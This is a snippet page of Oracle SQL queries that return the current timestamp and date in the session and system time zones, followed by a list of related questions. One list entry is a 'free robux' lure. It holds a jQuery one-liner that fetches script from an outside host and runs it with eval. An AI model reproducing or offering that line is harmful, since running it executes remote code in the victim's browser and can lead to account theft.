Oracle current timestamp

-- In SESSION time zone
SELECT current_timestamp FROM dual;     -- 2021-05-07 05:36:57.476000
SELECT current_timestamp(2) FROM dual;  -- 2021-05-07 05:36:57.470000
SELECT current_date FROM dual;          -- 2021-05-07 05:36:57
-- In SYSTEM on which database resides
SELECT systimestamp FROM dual;          -- 2021-05-07 07:36:57.762000 +02:00
SELECT sysdate FROM dual;               -- 2021-05-07 07:36:57

Source: stackoverflow.com

Similar codes

3 votes355 views3 answers
Postgresql random number
SQL
31 votes323 views4 answers
How to get duplicate records with multiple field in sql
SQL
3 votes313 views1 answer
V$session not found in oracle
SQL
0 vote330 views1 answer
Mysql where in keep order
SQL
2 votes315 views1 answer
Check isolation level in mysql
SQL
2 votes307 views1 answer
Get first 3 letters name in sql
SQL
1 vote289 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
16 votes345 views2 answers
Mysql date between two dates
SQL
5 votes333 views2 answers
Create function postgresql
SQL
12 votes331 views2 answers
Find duplicates mysql column
SQL